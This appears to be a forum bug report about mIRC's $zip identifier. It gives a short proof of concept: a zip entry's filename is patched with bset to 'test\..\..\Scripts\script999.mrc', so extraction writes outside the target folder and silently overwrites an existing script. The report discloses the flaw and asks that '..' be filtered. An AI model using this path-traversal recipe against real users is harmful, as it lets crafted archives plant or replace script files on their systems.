$zip is failing to extract files if the filename in the central dir is different than in the local header, but that's probably a good thing.

But $zip should filter filenames containing ..

This trick doesn't seem to work when filename begins with leading slash, nor when filename begins with driveletter: But it is working when filename contains ..

file doesn't exist:
//echo -a $isfile(Scripts\script999.mrc)

create dummy file:
/write -c zzzzzzzzzzzzzzzzzzzzzzzzzzzz.mrc test

add it into a zip:
//remove test.zip | echo -a $zip(test.zip,c,zzzzzzzzzzzzzzzzzzzzzzzzzzzz.mrc)

alter filename inside zip:
//var %a test\..\..\Scripts\script999.mrc | bread test.zip 0 999 &v | bset -t &v 31 %a | bset -t &v 115 %a | bwrite -c test2.zip 0 999 &v

extract file from zip to non-existing foldername:
//rmdir nosuchfolder2 | echo -a $zip(test2.zip,e,nosuchfolder2) | echo -a $file(Scripts\script999.mrc).size

unzipped file now exists in scripts folder. now replace file with larger file, but this silently overwrites existing file, even creates file if Scripts\ subfolder doesn't exist:
//rmdir nosuchfolder2 | copy -o $qt(mirc.ini) scripts\script999.mrc | echo -a $file(Scripts\script999.mrc).size | echo -a $zip(test2.zip,e,nosuchfolder2) | echo -a $file(Scripts\script999.mrc).size